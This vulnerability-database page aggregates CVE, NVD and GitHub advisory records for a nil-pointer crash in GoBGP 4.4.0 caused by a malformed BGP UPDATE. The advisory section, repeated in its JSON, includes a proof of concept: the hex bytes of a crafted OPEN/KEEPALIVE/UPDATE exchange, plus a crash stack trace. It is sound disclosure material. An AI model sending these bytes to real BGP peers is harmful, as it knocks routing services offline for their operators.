Vulnerability-Lookup

CVE-2026-42285 (GCVE-0-2026-42285)

Vulnerability from cvelistv5 – Published: 2026-05-07 11:53 – Updated: 2026-05-07 13:04

Title

GoBGP: Panic in AdjRib.Update via malformed BGP Update message (Nil Pointer Dereference)

Summary

GoBGP is an open source Border Gateway Protocol (BGP) implementation in the Go Programming Language. In version 4.4.0, an unauthenticated remote BGP peer can trigger a fatal panic in GoBGP by sending a specially crafted BGP UPDATE message. When the server receives a message with inconsistent attribute lengths, it improperly handles the internal state transition to a "withdraw" action, leading to a nil pointer dereference in the AdjRib.Update function. This causes the entire GoBGP process to crash, resulting in a complete loss of service availability. This issue has been patched in version 4.5.0.

Severity ?

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-476 - NULL Pointer Dereference

Assigner

GitHub_M

References

URL

Tags

	https://github.com/osrg/gobgp/security/advisories…	x_refsource_CONFIRM
	https://github.com/osrg/gobgp/releases/tag/v4.5.0	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	osrg	gobgp	Affected: = 4.4.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-42285",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-07T13:04:33.585849Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-07T13:04:56.019Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/osrg/gobgp/security/advisories/GHSA-p3w2-64xm-833j"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "gobgp",
          "vendor": "osrg",
          "versions": [
            {
              "status": "affected",
              "version": "= 4.4.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "GoBGP is an open source Border Gateway Protocol (BGP) implementation in the Go Programming Language. In version 4.4.0, an unauthenticated remote BGP peer can trigger a fatal panic in GoBGP by sending a specially crafted BGP UPDATE message. When the server receives a message with inconsistent attribute lengths, it improperly handles the internal state transition to a \"withdraw\" action, leading to a nil pointer dereference in the AdjRib.Update function. This causes the entire GoBGP process to crash, resulting in a complete loss of service availability. This issue has been patched in version 4.5.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-476",
              "description": "CWE-476: NULL Pointer Dereference",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-07T11:53:14.498Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/osrg/gobgp/security/advisories/GHSA-p3w2-64xm-833j",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/osrg/gobgp/security/advisories/GHSA-p3w2-64xm-833j"
        },
        {
          "name": "https://github.com/osrg/gobgp/releases/tag/v4.5.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/osrg/gobgp/releases/tag/v4.5.0"
        }
      ],
      "source": {
        "advisory": "GHSA-p3w2-64xm-833j",
        "discovery": "UNKNOWN"
      },
      "title": "GoBGP: Panic in AdjRib.Update via malformed BGP Update message (Nil Pointer Dereference)"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-42285",
    "datePublished": "2026-05-07T11:53:14.498Z",
    "dateReserved": "2026-04-26T12:13:55.551Z",
    "dateUpdated": "2026-05-07T13:04:56.019Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-42285\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-05-07T12:16:18.180\",\"lastModified\":\"2026-05-07T15:06:11.573\",\"vulnStatus\":\"Awaiting Analysis\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"GoBGP is an open source Border Gateway Protocol (BGP) implementation in the Go Programming Language. In version 4.4.0, an unauthenticated remote BGP peer can trigger a fatal panic in GoBGP by sending a specially crafted BGP UPDATE message. When the server receives a message with inconsistent attribute lengths, it improperly handles the internal state transition to a \\\"withdraw\\\" action, leading to a nil pointer dereference in the AdjRib.Update function. This causes the entire GoBGP process to crash, resulting in a complete loss of service availability. This issue has been patched in version 4.5.0.\"}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\",\"baseScore\":7.5,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"NONE\",\"integrityImpact\":\"NONE\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":3.9,\"impactScore\":3.6}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-476\"}]}],\"references\":[{\"url\":\"https://github.com/osrg/gobgp/releases/tag/v4.5.0\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/osrg/gobgp/security/advisories/GHSA-p3w2-64xm-833j\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/osrg/gobgp/security/advisories/GHSA-p3w2-64xm-833j\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\"}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-42285\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"yes\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-05-07T13:04:33.585849Z\"}}}], \"references\": [{\"url\": \"https://github.com/osrg/gobgp/security/advisories/GHSA-p3w2-64xm-833j\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-05-07T13:04:50.300Z\"}}], \"cna\": {\"title\": \"GoBGP: Panic in AdjRib.Update via malformed BGP Update message (Nil Pointer Dereference)\", \"source\": {\"advisory\": \"GHSA-p3w2-64xm-833j\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 7.5, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\", \"integrityImpact\": \"NONE\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"HIGH\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"NONE\"}}], \"affected\": [{\"vendor\": \"osrg\", \"product\": \"gobgp\", \"versions\": [{\"status\": \"affected\", \"version\": \"= 4.4.0\"}]}], \"references\": [{\"url\": \"https://github.com/osrg/gobgp/security/advisories/GHSA-p3w2-64xm-833j\", \"name\": \"https://github.com/osrg/gobgp/security/advisories/GHSA-p3w2-64xm-833j\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/osrg/gobgp/releases/tag/v4.5.0\", \"name\": \"https://github.com/osrg/gobgp/releases/tag/v4.5.0\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"GoBGP is an open source Border Gateway Protocol (BGP) implementation in the Go Programming Language. In version 4.4.0, an unauthenticated remote BGP peer can trigger a fatal panic in GoBGP by sending a specially crafted BGP UPDATE message. When the server receives a message with inconsistent attribute lengths, it improperly handles the internal state transition to a \\\"withdraw\\\" action, leading to a nil pointer dereference in the AdjRib.Update function. This causes the entire GoBGP process to crash, resulting in a complete loss of service availability. This issue has been patched in version 4.5.0.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-476\", \"description\": \"CWE-476: NULL Pointer Dereference\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-05-07T11:53:14.498Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-42285\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-05-07T13:04:56.019Z\", \"dateReserved\": \"2026-04-26T12:13:55.551Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-05-07T11:53:14.498Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-42285

Vulnerability from fkie_nvd - Published: 2026-05-07 12:16 - Updated: 2026-05-07 15:06

Severity ?

7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/osrg/gobgp/releases/tag/v4.5.0
	security-advisories@github.com	https://github.com/osrg/gobgp/security/advisories/GHSA-p3w2-64xm-833j
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/osrg/gobgp/security/advisories/GHSA-p3w2-64xm-833j

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "GoBGP is an open source Border Gateway Protocol (BGP) implementation in the Go Programming Language. In version 4.4.0, an unauthenticated remote BGP peer can trigger a fatal panic in GoBGP by sending a specially crafted BGP UPDATE message. When the server receives a message with inconsistent attribute lengths, it improperly handles the internal state transition to a \"withdraw\" action, leading to a nil pointer dereference in the AdjRib.Update function. This causes the entire GoBGP process to crash, resulting in a complete loss of service availability. This issue has been patched in version 4.5.0."
    }
  ],
  "id": "CVE-2026-42285",
  "lastModified": "2026-05-07T15:06:11.573",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-05-07T12:16:18.180",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/osrg/gobgp/releases/tag/v4.5.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/osrg/gobgp/security/advisories/GHSA-p3w2-64xm-833j"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/osrg/gobgp/security/advisories/GHSA-p3w2-64xm-833j"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-476"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-P3W2-64XM-833J

Vulnerability from github – Published: 2026-05-05 20:57 – Updated: 2026-05-05 20:57

Summary

GoBGP has a panic in AdjRib.Update via malformed BGP Update message (Nil Pointer Dereference)

Details

Summary

Remote Denial of Service (DoS) via Nil Pointer Dereference in BGP Update Processing An unauthenticated remote BGP peer can trigger a fatal panic in GoBGP by sending a specially crafted BGP UPDATE message. When the server receives a message with inconsistent attribute lengths, it improperly handles the internal state transition to a "withdraw" action, leading to a nil pointer dereference in the AdjRib.Update function. This causes the entire GoBGP process to crash, resulting in a complete loss of service availability.

Details

The vulnerability originates in the interaction between the BGP message decoding logic and the Adj-RIB table management.

Triggering Condition: When a BGP UPDATE message contains attributes that fail validation (e.g., "attribute value length is short"), GoBGP logs a warning: the received Update message was treated as withdraw.

Code Path:

The message reaches github.com/osrg/gobgp/v4/pkg/server.(*peer).handleUpdate.

Due to the malformed attributes, the message is processed as a withdrawal, but the internal representation of the path or its attributes becomes nil.

The execution flows to internal/pkg/table/adj.go:127 within (*AdjRib).Update.

The Flaw: At line 127 in adj.go, the code attempts to access a member of a structure (likely the path or a specific attribute container) that is nil due to the previous validation failure.

Log Snippet:

{"time":"2026-04-21T12:43:10.009107962+08:00","level":"WARN","msg":"the received Update message was treated as withdraw","Topic":"Peer","Key":"192.168.31.195","State":"BGP_FSM_ESTABLISHED","Error":"attribute value length is short"}
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x8 pc=0xbca9e8]

goroutine 52 [running]:
github.com/osrg/gobgp/v4/internal/pkg/table.(*AdjRib).Update(0x1fec929b4480, {0x1fec928ca0e8, 0x1, 0xfffffffffffffffc?})
        /home/base/Desktop/gobgp/internal/pkg/table/adj.go:127 +0xa8
github.com/osrg/gobgp/v4/pkg/server.(*peer).handleUpdate(0x1fec92b90c40, 0x1fec92c0c900)
        /home/base/Desktop/gobgp/pkg/server/peer.go:656 +0xed4
github.com/osrg/gobgp/v4/pkg/server.(*BgpServer).handleFSMMessage(0x1fec928c8488, 0x1fec92b90c40, 0x1fec92c0c900)
        /home/base/Desktop/gobgp/pkg/server/server.go:1670 +0x14c6
github.com/osrg/gobgp/v4/pkg/server.(*BgpServer).startFsmHandler.func1(0x1fec935c0b00?)
        /home/base/Desktop/gobgp/pkg/server/server.go:253 +0x25
github.com/osrg/gobgp/v4/pkg/server.(*fsmHandler).recvMessageloop(0x1fec92acee40, {0x105c750, 0x1fec92970500}, {0x106a558, 0x1fec933bc000}, 0x1fec92c1a2a0, 0x1fec92c18a10, 0x0?)
        /home/base/Desktop/gobgp/pkg/server/fsm.go:1893 +0xe82
created by github.com/osrg/gobgp/v4/pkg/server.(*fsmHandler).established in goroutine 37
        /home/base/Desktop/gobgp/pkg/server/fsm.go:1920 +0x2d5

PoC

[SEND] OPEN
       Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 1d 01 04 fd ea 00 5a c3 a8 1f c3 00
[RECV] Type: 1 | Length: 77
       Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 4d 01 04 fd e9 00 5a c0 a8 1f 82 30 02 2e 02 00 49 16 14 62 61 73 65 2d 76 69 72 74 75 61 6c 2d 6d 61 63 68 69 6e 65 00 01 04 00 19 00 46 41 04 00 00 fd e9 05 06 00 19 00 46 00 02
[+] Received OPEN from peer
[SEND] KEEPALIVE
       Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 13 04
[RECV] Type: 4 | Length: 19
       Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 13 04
[+] BGP Session Established
[SEND] Crafted UPDATE
       Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 50 02 00 04 18 ac 10 01 00 35 35 01 01 04 2d 02 00 90 0e 00 19 3e 01 a8 c0 1f 82 00 02 21 00 01 c0 a8 1f 12 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 00 11 22 33 44 55 0f 11 80 00
[*] Waiting for peer reaction...
[+] Done.

Impact

Remote Denial of Service (DoS) in GoBGP v4.4.0

Severity ?

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/osrg/gobgp/v4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.4.0"
            },
            {
              "fixed": "4.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "4.4.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42285"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T20:57:14Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nRemote Denial of Service (DoS) via Nil Pointer Dereference in BGP Update Processing\nAn unauthenticated remote BGP peer can trigger a fatal panic in GoBGP by sending a specially crafted BGP UPDATE message. When the server receives a message with inconsistent attribute lengths, it improperly handles the internal state transition to a \"withdraw\" action, leading to a nil pointer dereference in the AdjRib.Update function. This causes the entire GoBGP process to crash, resulting in a complete loss of service availability.\n\n\n### Details\nThe vulnerability originates in the interaction between the BGP message decoding logic and the Adj-RIB table management.\n\nTriggering Condition: When a BGP UPDATE message contains attributes that fail validation (e.g., \"attribute value length is short\"), GoBGP logs a warning: the received Update message was treated as withdraw.\n\nCode Path:\n\nThe message reaches github.com/osrg/gobgp/v4/pkg/server.(*peer).handleUpdate.\n\nDue to the malformed attributes, the message is processed as a withdrawal, but the internal representation of the path or its attributes becomes nil.\n\nThe execution flows to internal/pkg/table/adj.go:127 within (*AdjRib).Update.\n\nThe Flaw: At line 127 in adj.go, the code attempts to access a member of a structure (likely the path or a specific attribute container) that is nil due to the previous validation failure.\n\nLog Snippet:\n```\n{\"time\":\"2026-04-21T12:43:10.009107962+08:00\",\"level\":\"WARN\",\"msg\":\"the received Update message was treated as withdraw\",\"Topic\":\"Peer\",\"Key\":\"192.168.31.195\",\"State\":\"BGP_FSM_ESTABLISHED\",\"Error\":\"attribute value length is short\"}\npanic: runtime error: invalid memory address or nil pointer dereference\n[signal SIGSEGV: segmentation violation code=0x1 addr=0x8 pc=0xbca9e8]\n\ngoroutine 52 [running]:\ngithub.com/osrg/gobgp/v4/internal/pkg/table.(*AdjRib).Update(0x1fec929b4480, {0x1fec928ca0e8, 0x1, 0xfffffffffffffffc?})\n        /home/base/Desktop/gobgp/internal/pkg/table/adj.go:127 +0xa8\ngithub.com/osrg/gobgp/v4/pkg/server.(*peer).handleUpdate(0x1fec92b90c40, 0x1fec92c0c900)\n        /home/base/Desktop/gobgp/pkg/server/peer.go:656 +0xed4\ngithub.com/osrg/gobgp/v4/pkg/server.(*BgpServer).handleFSMMessage(0x1fec928c8488, 0x1fec92b90c40, 0x1fec92c0c900)\n        /home/base/Desktop/gobgp/pkg/server/server.go:1670 +0x14c6\ngithub.com/osrg/gobgp/v4/pkg/server.(*BgpServer).startFsmHandler.func1(0x1fec935c0b00?)\n        /home/base/Desktop/gobgp/pkg/server/server.go:253 +0x25\ngithub.com/osrg/gobgp/v4/pkg/server.(*fsmHandler).recvMessageloop(0x1fec92acee40, {0x105c750, 0x1fec92970500}, {0x106a558, 0x1fec933bc000}, 0x1fec92c1a2a0, 0x1fec92c18a10, 0x0?)\n        /home/base/Desktop/gobgp/pkg/server/fsm.go:1893 +0xe82\ncreated by github.com/osrg/gobgp/v4/pkg/server.(*fsmHandler).established in goroutine 37\n        /home/base/Desktop/gobgp/pkg/server/fsm.go:1920 +0x2d5\n\n```\n\n### PoC\n```\n[SEND] OPEN\n       Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 1d 01 04 fd ea 00 5a c3 a8 1f c3 00\n[RECV] Type: 1 | Length: 77\n       Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 4d 01 04 fd e9 00 5a c0 a8 1f 82 30 02 2e 02 00 49 16 14 62 61 73 65 2d 76 69 72 74 75 61 6c 2d 6d 61 63 68 69 6e 65 00 01 04 00 19 00 46 41 04 00 00 fd e9 05 06 00 19 00 46 00 02\n[+] Received OPEN from peer\n[SEND] KEEPALIVE\n       Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 13 04\n[RECV] Type: 4 | Length: 19\n       Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 13 04\n[+] BGP Session Established\n[SEND] Crafted UPDATE\n       Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 50 02 00 04 18 ac 10 01 00 35 35 01 01 04 2d 02 00 90 0e 00 19 3e 01 a8 c0 1f 82 00 02 21 00 01 c0 a8 1f 12 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 00 11 22 33 44 55 0f 11 80 00\n[*] Waiting for peer reaction...\n[+] Done.\n```\n\n### Impact\nRemote Denial of Service (DoS) in GoBGP v4.4.0",
  "id": "GHSA-p3w2-64xm-833j",
  "modified": "2026-05-05T20:57:14Z",
  "published": "2026-05-05T20:57:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/osrg/gobgp/security/advisories/GHSA-p3w2-64xm-833j"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/osrg/gobgp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/osrg/gobgp/releases/tag/v4.5.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "GoBGP has a panic in AdjRib.Update via malformed BGP Update message (Nil Pointer Dereference)"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-42285 (GCVE-0-2026-42285)

FKIE_CVE-2026-42285

GHSA-P3W2-64XM-833J

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature